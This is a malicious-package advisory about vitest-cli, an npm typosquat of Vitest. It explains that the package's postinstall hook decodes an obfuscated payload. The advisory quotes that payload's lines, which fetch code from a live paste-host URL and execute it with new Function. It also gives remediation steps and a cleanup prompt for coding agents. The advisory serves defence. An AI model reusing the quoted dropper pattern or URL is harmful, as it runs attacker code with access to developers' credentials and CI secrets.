# MAL-2026-6267: Malicious code in vitest-cli (npm)


- **Type:** Malicious package
- **Package:** `vitest-cli` (npm)
- **Published:** 22 Jun 2026
- **Also known as:** GHSA-c35r-fwrq-cgq9

## What is MAL-2026-6267?

MAL-2026-6267 is a malicious package in vitest-cli, published on 22 Jun 2026. 

### Official description

Package name `vitest-cli` impersonates the official Vitest project while declaring empty `author`, `homepage`, `repository`, and `bugs` metadata. The `package.json` declares `scripts.postinstall: node scripts/postinstall.js`, which auto-runs on every `npm install`. The postinstall reaches `lib/postinstall/index.js` line 23, which evaluates a P.A.C.K.E.R.-obfuscated blob via `eval((function(p,a,c,k,e,d){...})(...))`. Once decoded, the payload calls `axios.get('https://jsonkeeper.com/external/W33XO')` and executes the response's `data.cookie` field with `new Function('require', r.data.cookie)(require)`, retrying up to three times with 10-minute delays. jsonkeeper.com is an anonymous, mutable JSON paste host — the publisher can swap the executed bytes at any time without republishing the package. The thin wrapper around this dropper merely locates an installed `vitest` and spawns it as cover. Installer impact: arbitrary attacker-controlled JavaScript runs with full Node privileges on every developer machine and CI runner that installs this package, with access to environment variables, source trees, and credentials reachable from the install context. The combination of a typosquat name against a popular target, empty publisher metadata, P.A.C.K.E.R. obfuscation of the network+exec payload, mutable-paste-host fetch URL, and direct `new Function` execution of the response body is an unambiguous supply-chain attack.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

## What should I do about MAL-2026-6267?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-6267 is a malicious package: vitest-cli (npm). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-6267/ (Markdown: https://insights.sbomify.com/MAL-2026-6267/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-6267

---
From sbomify Insights: https://insights.sbomify.com/MAL-2026-6267/
Summaries are generated and may contain mistakes; the official description above is the record.
